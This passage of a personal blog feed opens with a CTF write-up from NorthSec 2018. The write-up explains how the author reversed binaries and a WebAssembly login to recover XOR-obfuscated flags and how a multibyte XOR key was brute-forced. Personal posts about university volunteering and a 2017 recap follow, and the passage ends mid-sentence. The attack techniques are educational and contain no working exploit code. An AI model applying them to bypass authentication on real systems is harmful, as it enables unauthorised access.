class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/5.png" alt="Disasembler view"></a><span class="caption">Disasembler view</span></div><div style="clear:both;"></div><p>The important instruction to notice here is <code>xor eax, 42h</code>, what this does is take the byte in EAX and XOR is with the byte 42H. This kind of trick is known as a single byte XOR and is an extremely simple method of “encrypting” data. All you need to do to get the data back is XOR each byte in the flag string, which was setup in the first block of the binary, with the value 42H. This will reveal <code>FLAG-{d0d383e0baa1543470c9bdd5f5ded71875d121f502bf494e21723250c9641c4b}</code>. This is because the program loops over the string stored in memory and XORs each byte of that srting with the key.</p>    </div></div><h3 id="BabyRE-2"><a href="#BabyRE-2" class="headerlink" title="BabyRE 2"></a>BabyRE 2</h3><p>We were given this unknown binary, can you find the flag?</p><ul><li>[ <a href="https://images.fletchto99.com/blog/2018/july/northsec-2018/babyre2.bin">BabyRE2</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Is that the CRC32 checksum of a file?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        BabyRE 2 Solution    </div>    <div class='spoiler-content'>        <p>Once again I ran Strings which revealed nothing. Like BabyRE 1 I jumped right into disassembling the binary without performing any debugging. IDA revealed some useful information right away.  Looking at the functions on the left hand side we can see that the program imports some File IO functions as well as implementing its own CRC32 function. I decided to make some assumptions for sake of time, firstly I assumed the CRC32 function is a valid CRC32 implementation and secondly I assumed the file must be read by the program in some standard fashion so the flag isn’t located in the areas which are just reading the file but rather what happens after the file is read.</p><p>This was probably the largest binary I’ve had to analyze in a reversing challenge so far. I decided to approach it differently, instead of trying to understand the program from the top down, I tracked back from the success function. Much like the previous challenges the success case is reached when the length of the string has been read, however before that length is reached the function appears to loop over some memory denoted by <code>flag_string</code> and perform some operations. It should be noted that the <code>flag_string</code> is just stored as bytes in the data section at <code>0x601080</code> and can easily be read as hex.</p><figure class="highlight text"><figcaption><span>flag_string</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">A7 AD A0 A6 CC 9A D1 D7  85 80 D6 D0 D7 D7 D1 D6</span><br><span class="line">D0 D5 83 D6 82 87 D0 D5  D1 D7 80 D1 D4 D7 82 D6</span><br><span class="line">D7 D8 D4 D9 82 82 D4 82  D4 80 D1 D7 85 D3 D3 82</span><br><span class="line">84 D1 83 D7 D3 D4 85 85  D1 D6 D7 85 85 D1 D8 D9</span><br><span class="line">D9 82 D8 84 D5 D2 9C 00</span><br></pre></td></tr></table></figure><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/6.png" title="Disasembler view" data-caption="Disasembler view" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/6.png" alt="Disasembler view"></a><span class="caption">Disasembler view</span></div><div style="clear:both;"></div><p>Taking a look at <code>loc_400A04</code> we can see a similar setup to BabyRE 1, in which <code>xor edx, eax</code> is being used to decrypt the flag string. Looking closely at this block, the <code>edx</code> register is being used to read bytes from the flag string while the eax register is being used to store the key for the XOR operation. In the current block we can see that <code>xor_key</code> is moved into the <code>eax</code> register right before the xor operation, so lets investigate what could potentially be stored at that location in memory. In IDA this is easily done by clicking the variable, IDA will proceed to highlight all locations the var is used. Here’s an overview of the block that I just analyzed.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/7.png" title="Block containing XOR" data-caption="Block containing XOR" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/7.png" alt="Block containing XOR"></a><span class="caption">Block containing XOR</span></div><div style="clear:both;"></div><p>At this point what I did was follow all branches up to the first location where <code>xor_key</code> was used before the block which performed the xor operation. There’s a few things going on here which I’ll explain in a bit but essentially we can see that <code>xor_key</code> is set from <code>eax</code>, which is <em>basically</em> derived from <code>xor_key_setter</code>. <em>It should be noted</em> that ida will give variables a default name, for example var_8083, however you can rename them, much like I did here, and all the occurrences will be updated. So now we must see where <code>xor_key_setter</code> is set, tracing it back we notice the block right before uses <code>xor_key_setter</code>. I cheated a little bit here since I noticed a comparison being done after <code>xor_key_setter</code> was moved into eax, specifically the instruction is <code>cmp eax, 0FC126AE1h</code>. Great, a hardcoded value! With this we can determine that the desired value of <code>xor_key_setter</code> must be <code>0FC126AE1h</code>. No need to trace back any further.</p><p>Now remember I said the xor key is <em>basically</em> derived from <code>xor_key_setter</code>. That’s because a small operation was performed to ensure that the key length is only one byte. Right now <code>xor_key_setter</code> is 4 bytes long and we need it to be one byte. To do this the program performs moves <code>xor_key_setter</code> into eax and then performs <code>and eax, FF</code> which effectively shortens the length of the key to one byte, thus making the XOR key <code>E1</code>.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/8.png" title="Tracing where XOR key is derived" data-caption="Tracing where XOR key is derived" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/8.png" alt="Tracing where XOR key is derived"></a><span class="caption">Tracing where XOR key is derived</span></div><div style="clear:both;"></div><p>Performing a single byte XOR on the flag string with <code>E1</code> reveals <code>FLAG-{06da71660714b7cf1406a056c76958cc5c5a06d22ce0b625dd076dd0988c9e43}</code></p>    </div></div><h3 id="Personal-ADs"><a href="#Personal-ADs" class="headerlink" title="Personal ADs"></a>Personal ADs</h3><p>There was a simple message board service where we could also store encrypted data using keys of any length. It had a few files already loaded into the system, though it only required 2 to solve. Knowing nothing about the encryption algorithm we were tasked to solve the challenge.</p><p>Here were the two files which it let us attempt to decrypt, if given the wrong key it would just print out what it attempted to decrypt. Perhaps these two files are related in some way? To solve you need know knowledge of the service, so feel free to have a go! (It might be slightly more challenging without being able to “test” posting encrypted messages, but its still doable)</p><ul><li>[ <a href="https://images.fletchto99.com/blog/2018/july/northsec-2018/bible.enc.dmp">Bible</a> ]</li><li>[ <a href="https://images.fletchto99.com/blog/2018/july/northsec-2018/flag.enc.dmp">Flag</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>The key for the flag is the same key being used for the bible file.</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Second Hint    </div>    <div class='spoiler-content'>        <p>The encryption algorithm is just a multibyte XOR, can you find the key? It helps knowing that the first five bytes of the flag are <code>FLAG{</code>.</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Personal ADs Solution    </div>    <div class='spoiler-content'>        <p>Going into this crypto challenge we know the first five bytes of the flag will always be <code>FLAG{</code>. Based on some simple testing, by creating my own strings and having the service encrypt&#x2F;decrypt them, I was able to determine that a multibyte xor was being performed. With these two pieces of information it becomes possible to leak the first few bytes of the key string, we just needed to determine what they were. Before proceeding I dumped the contents of the flag and the bible file from the service by using the key “a” then just reversing the xor operation and storing the output in a file. This made manipulation much easier, especially since I could now use tools like <a href="https://gchq.github.io/CyberChef/">CyberChef</a> to modify the data.</p><p>Using CyberChef’s XOR bruteforce, with a 5 byte key &amp; the first 5 bytes of the original flag string I was able to get the first 5 bytes of the key: <code>otjge</code>. With this information I attempted using that key on the bible file, and what do you know , the first five bytes of that file come out to: <code>SCIEN</code>. That appears to be English to me, implying that the bible and the flag possibly use the same xor key. The next step was to determine the length of the key. To do this I padded the key with <code>a</code> until it was possible to find other English words. I’d be curious to know if there’s a better approach to this since the whole process was quite manual. Anyhow I found the correct key length of 50 characters. All that was left was to find the correct values for each position, this can be done via bruteforce quite trivially. Basically just change the next character in the key until you find a place in the <code>bible</code> which seems to make more sense. For example when I first decrypted with <code>otjgeaaaa...</code> I saw the first word was <code>SCIEN</code>. That appears to be the word science, so all I did was change that first a until I found the right character revealing <code>SCIENC</code> and so on… Eventually it was revealed that the decryption key was <code>otjgekximwdfdsbivpflrcifibjjprbsjqgpjtnkhbupanaggp</code>. All that was left was to xor that with the flag file to reveal: <code>FLAG-d4aa1015c97c5b31c3d5a6076613e931</code>.</p>    </div></div><h3 id="Space-Time-Forensics"><a href="#Space-Time-Forensics" class="headerlink" title="Space Time Forensics"></a>Space Time Forensics</h3><p>Here’s a scan of a piece of paper. Which model of printer was used to print that paper?</p><ul><li>[ <a href="https://images.fletchto99.com/blog/2018/july/northsec-2018/space.pdf">Space</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>How did they know it was Snowden that leaked those documents?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Space Time Forensics Solution    </div>    <div class='spoiler-content'>        <p>This forensics problem is based around the fact that, for many years, colored printers printed <em>near invisible</em> information on every page they printed. It was some information encoded in yellow dots stating the print date and serial model. In 2005 the EEF was able to decode the information stored in these yellow dots. I remembered reading an <a href="https://www.cnet.com/news/secret-tracking-codes-in-xerox-printers-cracked/">article</a> about them from around 2010 and through that was able to solve this challenge with ease. There were 3 stages to this challenge: the first part was the PDF which was given above, the second part was a physical piece of paper with the dots on it, and finally the 3rd part was a 2000 page book which was scanned but then one page was rescanned and you needed to find it.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/9.png" title="Dots decoded" data-caption="Dots decoded" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/9.png" alt="Dots decoded"></a><span class="caption">Dots decoded</span></div><div style="clear:both;"></div><p>Decoding the dots revealed the date which the piece of paper was printed: 20170914, thus that was the flag.</p>    </div></div><h3 id="Secure-Authentication"><a href="#Secure-Authentication" class="headerlink" title="Secure Authentication"></a>Secure Authentication</h3><p>For this challenge we were given access to a website which had a form client side authentication. We were tasked with breaking the authentication:</p><ul><li>[ <a href="https://fletchto99.com/other/ctfs/nsec/wasm.html">Super Secure Authentication</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Wast could make this easer?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Secure Authentication Solution    </div>    <div class='spoiler-content'>        <p>By analyzing the sources it was immediately evident that the application was using web assembly as the core for authentication. The JS in the main challenge page clearly called, or should I say <code>ccalled</code>, an authentication function with the username and password. Solving this challenge was going to rely on some reverse engineering knowledge. Once again I took the more difficult approach of disassembling instead of just debugging to understand what’s going on. I didn’t even realize it but chrome and firefox actually both support debugging of web assembly!I opted to use wabt’s online disassembler to convert the binary to <a href="https://cdn.rawgit.com/WebAssembly/wabt/aae5a4b7/demo/wasm2wat/">WebAssembly Text Format</a>, or wat for short. With this I was able to begin disassembly and commenting.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/10.png" title="Web Assembly Text" data-caption="Web Assembly Text" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/10.png" alt="Web Assembly Text"></a><span class="caption">Web Assembly Text</span></div><div style="clear:both;"></div><p>Since I’m not familiar with WebAssembly and much less so with disassembling it I decided to start with inspecting the entire WAT file to look for some clues. At the second highest level we can see a few things: some type decelerations, a few imported functions, some function decelerations (f0, f2, authenticate, and some stack manipulations), a couple of global vars, and a data section. Two things stood out here:</p><p><strong>The data section</strong></p><p>Here we can see a bunch of data followed by the word admin. The data appears to be hex, denoted by <code>\XX</code>. We also know from earlier some “ccall” was used and the data ends in \00. That looks like a null byte! So what it seems like is that we have some binary data, likely the encrypted password, followed by the username admin.</p><p><strong>The Authenticate function</strong></p><p>Before diving into the function itself I needed to do some research on WebAssembly and what the instructions and types are. For the most part everything in this challenge is pretty self explanatory however I wanted to make sure I was reversing it correctly. The <a href="https://developer.mozilla.org/en-US/docs/WebAssembly">Mozilla documntation</a> is quite thorough on WASM and I would really suggest checking it out.</p><p>Earlier we saw that the javascript made a call to the authenticate function passing the username and password as parameters. We can see that they are then stored in local vars on the stack as <code>$p0</code> and <code>$p1</code> respectively. Right away the first instruction we see being executed is a call to <code>f2</code> passing the <code>$p1</code> var (password) as well as -1 constant value. This is probably a good area to investigate since it is using the password variable. <em>note</em> the following may be wrong but it was how I solved it at the time, if you know WASM please correct me! From a very high level this function sets up a local variable, <code>$l0</code>, as a 32 bit integer and then loads the <code>$p1</code> local var into <code>$l0</code>. However, during this process the <code>load8_s</code> instruction is used which, <em>from my understanding</em>, loads the signed byte into the local var. Remember that the the constant passed was -1, so in binary that would be <code>ff</code>, thus making the variable <code>$l0</code> become <code>ffffffff</code>. Finally we loop over <code>$L1</code>… not too sure where <code>$L1</code> came from but I just assumed it was a local counter related to the length of the global data… doesn’t really matter too much in the context of this problem though if anyone knows where <code>$L1</code>comes from please let me know! Anyhow, in the loop we can see that an XOR is performed with the value being stored back into <code>$p0</code>.</p><p>So that was probably a lot to take in, but the gist of it is that we loop over the password and XOR it with a constant of <code>ff</code> in the function <code>$f2</code>, thus all that is happening in the WASM is a single byte xor on the password. From this point forward I made the assumption that the bytes stored in global memory were XORed with the value <code>ff</code> and revering this process reveals: <code>FLAG-07B00FB78E6DB54072EEF34B9051FA45</code>. Success!</p>    </div></div><p>Hopefully you all learned something new too! See ya next year NSec!</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;About a month ago I went NothSec, Canada’s premier cyber security conference &amp;amp; CTF. I was lucky enough to go with the SomRandomName team.&lt;/p&gt;</summary>
    
    
    
    <category term="events" scheme="https://blog.fletchto99.com/categories/events/"/>
    
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="ctfs" scheme="https://blog.fletchto99.com/tags/ctfs/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>One chapter ends; another begins</title>
    <link href="https://blog.fletchto99.com/2018/april/one-chapter-ends-another-begins/"/>
    <id>https://blog.fletchto99.com/2018/april/one-chapter-ends-another-begins/</id>
    <published>2018-04-22T07:00:00.000Z</published>
    <updated>2022-12-19T05:19:00.947Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/banner.png" alt=""></div><div style="clear:both;"></div><p>Its hard to believe I’m finishing up my undergrad this month! The past four years of my life flew by. Looking back on this past semester I was able to accomplish quite a bit! The majority of my time this past semester was spent volunteering and organizing events at the university, something I’ve been passionate about since first year. Some of my major accomplishments this past semester include: co-chairing uOttaHack, the University’s first MLH hackathon; organizing Canada’s first Raspberry Pi Jam; and leading Battle Royale 11, a 24 Hour LAN charity for CHEO raising over $2500 for Charity. In this post, which actually serves as my final project for the volunteering class I’m taking, I will reflect upon all of the volunteering I did (which somehow accumulated to over 350 hours in one semester). Instead of specific placements for the course I was able to use my own experiences and opportunities. At the end of this post I’ve created a portfolio with a plethora of images from all of my experiences this semester.</p><h2 id="uOttaHack"><a href="#uOttaHack" class="headerlink" title="uOttaHack"></a>uOttaHack</h2><p>Over the past year I’ve had the privilege to work with remarkable team of organizers to put on one of the largest 24 hour events the University of Ottawa has seen. <a href="https://uottahack.ca/">uOttaHack</a> was one of the largest undertakings I’ve ever been a part of and not only did our team meet our goals but rather we beat them by a mile! For those of you who don’t know what a hackathon is, it can best be described as an invention marathon where computer science &amp; engineering students come together to turn ideas into reality over the span of a weekend. In our case we had over 400 students from all over the country come to uOttawa to attend uOttaHack. I think the moment I realized how real the event was, was when I looked up from the podium at opening ceremonies and seeing so many students eager to get started hacking.</p><div class="video-container"><iframe src="https://www.youtube.com/embed/-ImEjDy5SI4" frameborder="0" loading="lazy" allowfullscreen></iframe></div><p>Of course an event of this scale couldn’t have been done without all of the prep work which took place over the year leading up to uOttaHack. One of the biggest challenges was for our sponsorship team was to raise the $40,000 required to run the event. This involved reaching out to hundreds of companies asking them to become a sponsor and showing them we can be successful even though uOttaHack hasn’t run before. Not only did we meet our $40,000 sponsorship goal but we surpassed it by quite a bit! This enabled our logistics team to send even more busses to Toronto, increasing the reach of our hackathon! Furthermore our logistics team really killed it with their food orders. Many hackers stated that we’ve had some of the best food compared to any other hackathons they’ve been to. This wouldn’t have been possible without the tremendous job our marketing and development teams for making our online presence well known! We had over 1250 students apply for the hackathon which is amazing for our first time ever!</p><p>Co-charring uOttaHack really taught me the importance of relying on a team. Everyone on the team was willing to go above and beyond to help out both during the event and the many months lead up to it. Paul and I were extremely pleased with the outcome of the event and the dedication of the founding team. I think its safe to say uOttaHack is now the largest overnight event that took place on campus this year - and hopefully for many more.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/1.jpg" title="The uOttaHack Founding Team" data-caption="The uOttaHack Founding Team" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/1.jpg" alt="The uOttaHack Founding Team"></a><span class="caption">The uOttaHack Founding Team</span></div><div style="clear:both;"></div><h2 id="Raspberry-Pi-Jam"><a href="#Raspberry-Pi-Jam" class="headerlink" title="Raspberry Pi Jam"></a>Raspberry Pi Jam</h2><p>In March I helped organize Canada’s first ever Raspberry Pi jam. For those of you who don’t know, Raspberry Pi is a small computer which is extremely portable and perfect for introducing people to programming as well as hardware related hacks. A Raspberry Pi jam is an event foucsed on teaching people what the Raspberry Pi is capable of, giving participants and introduction to programming and hardware hacking. Back in January a community member, whom I met through a meetup group, had posted online looking for volunteers to help him with this project. After a few weeks of planning it was determined that myself and a few other IEEE uOttawa exec would help run the Minecraft Pi station.</p><p>The event took place on March 3rd and March 10th at the Science and Tech museum in Ottawa. Over the span of the two weekends the event attracted over 500 people of all ages! You could say I taught hundreds of kinds how to program in python but in reality I learned how to teach kids what programming is. I’m so used to being able to just jump into coding when teaching someone but teaching young kids is completely different. In reality most of the younger kids only wanted to play minecraft but there were a few that really shocked me by coming in and being able to write up code to modify minecraft without any help at all. I think learning how to teach kids will be an important skill which I’ll use in the future since I’m hoping to continue running events like this once I start my job.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/2.jpg" title="Canada's First Raspberry Pi Jam" data-caption="Canada's First Raspberry Pi Jam" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/2.jpg" alt="Canada's First Raspberry Pi Jam"></a><span class="caption">Canada's First Raspberry Pi Jam</span></div><div style="clear:both;"></div><h2 id="Battle-Royale"><a href="#Battle-Royale" class="headerlink" title="Battle Royale"></a>Battle Royale</h2><p>Furthermore this past semester I was the Overlord for <a href="https://battleroyale.ca/">Battle Royale</a>, an annual LAN charity for CHEO run by the three student IEEE branches in Ottawa. The goal of the LAN charity is to raise money for a good cause while having fun doing so. We hosted 5 game tournaments as well as ran a “mario marathon” in which we stream 24 hours of mario games to twitch, with all proceeds raised going to CHEO. This year was the 11th annual Battle Royale and even though our attendance was slightly lower than expected we still managed to raise a record amount through our mario marathon stream! In total we raised just over $2500 for charity with $1800 of that coming from our livestream.</p><p> Another major portion of the event was the CS:GO tournament, which typically brings in 10-20 teams (some even travel). The tournament went on until 3AM and I have to give Bolor and Ryan a huge shout out for managing all of the games and servers, they really killed it! Overall this event was a huge success but one thing I learned is that its really important to have a backup plan. We had one venue booked and secured and then last minute we heard there might be a power outage the day of the event, thankfully that wasn’t the case but had it been then I’m not sure what I would have done. Thanks to the entire organizing team for another successful Battle Royale!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/3.jpg" title="Battle Royale XI Organizing Team" data-caption="Battle Royale XI Organizing Team" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/3.jpg" alt="Battle Royale XI Organizing Team"></a><span class="caption">Battle Royale XI Organizing Team</span></div><div style="clear:both;"></div><h2 id="Hack-All-the-Things"><a href="#Hack-All-the-Things" class="headerlink" title="Hack All the Things"></a>Hack All the Things</h2><p>Cybersecirty has been a major passion of mine all throughout my University career. Over the past few years I’ve been running these events known as Capture the Flags (or CTF for short) which aim to teach students about common cybersecurity attacks. I’ve branded these events as Hack All the Things, typically seeing approximately 20-30 people come out. From these events I was able to form uOttawa Cyber Security teams which participated in the Mayor’s Cyber Security Cup, consistently placing top 3 for the past few years. These events have been a great opportunity for me to constantly brush up on my security skills while also being able to teach my fellow peers.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/4.jpg" title="Hack All the Things" data-caption="Hack All the Things" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/4.jpg" alt="Hack All the Things"></a><span class="caption">Hack All the Things</span></div><div style="clear:both;"></div><p>The most recent Hack All the Things took place at the beginning of April. A community member reached out to me through the DC613 Ottawa meetup group asking if he could help build some of the challenges for the event. As it turns out he actually built most of the challenges for this semester’s Hack All the Things! Furthermore there’s a group of students from uOttawa and Carleton that are keen on keeping the event running once I graduate. Its great to know something I’ve put countless hours into will continue to thrive once I’m gone.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/5.jpg" title="2nd Place in CySCOTT" data-caption="2nd Place in CySCOTT" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/5.jpg" alt="2nd Place in CySCOTT"></a><span class="caption">2nd Place in CySCOTT</span></div><div style="clear:both;"></div><h2 id="IEEE"><a href="#IEEE" class="headerlink" title="IEEE"></a>IEEE</h2><p>Honestly though I don’t know where I would be without the uOttawa IEEE student branch. Ever since my first year I would hang out in the office, learning from the execs there. In these past two years I’ve had the opportunity to represent the student body as an IEEE exec, first as the McNaughton Centre Director and then, this past year, as the Vice-Chair. In my early years IEEE gave so much to me and so I’m happy to be able to give back just as much to the community. During my time in IEEE I’ve helped run and organize numerous events of all types. Some of our popular events included: Cookies n Cram, Coding Challenges, GitHub workshops, and many more! We’ve also opened many doors for students through our events like the WIE Wine and Cheese, and the Student Professional Awareness Conference which aims to connect students with industry professionals. I’ve really grown as a person both professionally and academically thanks to the IEEE uOttawa Student branch.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/6.jpg" title="IEEE uOttawa Exec Team" data-caption="IEEE uOttawa Exec Team" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/6.jpg" alt="IEEE uOttawa Exec Team"></a><span class="caption">IEEE uOttawa Exec Team</span></div><div style="clear:both;"></div><h2 id="The-Next-Chapter"><a href="#The-Next-Chapter" class="headerlink" title="The Next Chapter"></a>The Next Chapter</h2><p>Some sappy &#x2F; inspiring paragraph about the next chapter</p><p>University has been an amazing journey and I’m extremely pleased with the person I’ve become from it. I think the extra curricular aspect of University was crucial to my growth and I think the community service course was the perfect way to finish off my undergrad. Moving on I’ll be starting at GitHub full time this coming August however before I flip the page to the next chapter I’m taking some time off to reconnect with Jurre in person, this time in Europe. We’ll be visiting most of the western Europe countries over the span of a month and a half, finishing the trip in Belgium for Tomorrowland!!!!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/7.jpg" title="" data-caption="" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/april/one-chapter-ends-another-begins/7.jpg" alt=""></a></div><div style="clear:both;"></div><p>** Volunteering Portfolio **</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Its hard to believe I’m finishing up my undergrad this month! The past four years of my life flew by. Looking back on this past semester I was able to accomplish quite a bit!&lt;/p&gt;</summary>
    
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/categories/personal/"/>
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/tags/personal/"/>
    
    <category term="hackathons" scheme="https://blog.fletchto99.com/tags/hackathons/"/>
    
    <category term="github" scheme="https://blog.fletchto99.com/tags/github/"/>
    
  </entry>
  
  <entry>
    <title>2017: The future is now</title>
    <link href="https://blog.fletchto99.com/2017/december/2017-recap/"/>
    <id>https://blog.fletchto99.com/2017/december/2017-recap/</id>
    <published>2017-12-30T07:00:00.000Z</published>
    <updated>2022-12-19T05:10:20.217Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/banner.png" alt=""></div><div style="clear:both;"></div><p>What a year 2017 has been! I’ve been on so many awesome adventures I’ve had hardly any time to maintain my blog. In this post, which I opted to write more like a journal entry, I’ll talk about some of my adventures and a few goals I’m setting for myself in 2018.</p><h2 id="Solidifying-Friendships"><a href="#Solidifying-Friendships" class="headerlink" title="Solidifying Friendships"></a>Solidifying Friendships</h2><p>2017 has been, without a doubt, a wild year! It all started off with the journey of a lifetime – a roadtrip I’ve been wanting to go on since I was in highschool. In May a good friend of mine, whom I met online gaming many years ago, flew to Ottawa from the Netherlands to <a href="https://blog.fletchto99.com/2017/june/canada-roadtrip/">roadtrip across canada</a> with me. This was my first time meeting Jurre in person even though we met online 8 years ago playing Minecraft. In a little over a month Jurre and I drove all the way from Ontario to BC and back taking in all of the beautiful sights Canada has to offer. From the extremely flat prairies to the stunning rocky mountains this country is absolutely amazing and I’m so blessed to be able to live and grow up here. Hands down my favourite part of the trip was the caving experience Jurre and I went on. We got to traverse 1km deep into a naturally formed cave on the side of a mountain! Being able to travel the country has been something I’ve wanted to do for a while and it did not disappoint! Next up Jurre and I are planning to travel Europe together in summer of 2018!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/december/2017-recap/1.jpg" title="Jurre and I Conquering Canada's Rockies" data-caption="Jurre and I Conquering Canada's Rockies" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/1.jpg" alt="Jurre and I Conquering Canada's Rockies"></a><span class="caption">Jurre and I Conquering Canada's Rockies</span></div><div style="clear:both;"></div><h2 id="git-commit-m-“GitHub-amp-San-Francisco”"><a href="#git-commit-m-“GitHub-amp-San-Francisco”" class="headerlink" title="git commit -m “GitHub &amp; San Francisco”"></a>git commit -m “GitHub &amp; San Francisco”</h2><p>Over the summer of 2017 I had the chance to live out my dream of being an intern in San Francsicso. I was fortunate enough to be part of <a href="https://blog.fletchto99.com/2017/july/github/">GitHub’s internship program</a>, specifically as their product security intern. While there I met some extremely talented and kind people who taught me so much! The whole GitHub experience was even more than I could imagine… from dogs wandering the office to challenging security-related programming problems to the people who make up the company, interning at GitHub was never a dull moment.</p><p>Furthermore the experience of living in San Francisco with my roommate Joseph was unreal. Joseph and I did a lot of sight seeing on the weekends seeing things like the Golden Gate Bridge, Painted Ladies and other local events such as sofar sounds (local concerts). Terron, a good friend of mine, also came down to visit me in SF! The first night she was in SF we went to a concert inside of this church like building, it was my first time at a live performance and I really enjoyed it! Living there for a few months really enabled me to see some local sights which tourists would normally miss. If you’re ever there you need to check out the Bi-rite creamery in the Mission district.</p><p>However the end of the internship was actually only just the beginning of my time with GitHub. I’m so excited to say that I’ll be going back to GitHub full-time starting summer of 2018 as a Product Security Engineer! I’ll be moving to Colorado some time this summer to get started as a full time employee.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/december/2017-recap/2.jpg" title="Pretending to be Famous" data-caption="Pretending to be Famous" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/2.jpg" alt="Pretending to be Famous"></a><span class="caption">Pretending to be Famous</span></div><div style="clear:both;"></div><h2 id="Lol-What-is-School-Anyways"><a href="#Lol-What-is-School-Anyways" class="headerlink" title="Lol What is School Anyways"></a>Lol What is School Anyways</h2><p>These past few months Paul and I (co-chairs) have been working with 12 other extremely dedicated students to organize <a href="https://uottahack.com/">uOttaHack</a>, the University of Ottawa’s first ever MLH hackathon. Our goal is to bring approximately 450 extremely talented students of all backgrounds to uOttawa for 24 hours of hacking, developing and inventing. Running an event of this scale is no small task but I’m happy to say that our team is on track to a very successful event! We’ve raised tens of thousands of dollars, booked an entire building on campus for a weekend and have had just under a thousand students apply to attend uOttaHack! After having attended many hackathons throughout my university career I’m so glad I am able to share this experience with other uOttawa students. Cya in February uOttaHack!!</p><p>I’m also an avid gamer, so I couldn’t finish uni without running at least one LAN party! Each year the local school IEEE branches band together to run Battle Royale, a 24hr LAN charity for CHEO. This year I’m working with a team of 10 talented students to organize the eleventh edition of Battle Royale which will be taking place in March! We’re hard at work getting all of the graphics, website and marketing materials good to go so that we can start advertising the event in the new year! We’re expecting approximately 100 gamers to show up and game the night away – raising money for CHEO.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2017/december/2017-recap/3.jpg" title="uOtta Be There" data-caption="uOtta Be There" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2017/december/2017-recap/3.jpg" alt="uOtta Be There"></a><span class="caption">uOtta Be There</span></div><div style="clear:both;"></div><h2 id="Hackerman"><a href="#Hackerman" class="headerlink" title="Hackerman"></a>Hackerman</h2><p>These past few months I’ve been attending quite a few more conferences to try and sharpen up my security skills. Plus I realized that this will be my last year where I can take advantage of the student discounts so I attened as many security related conferences as possible. My 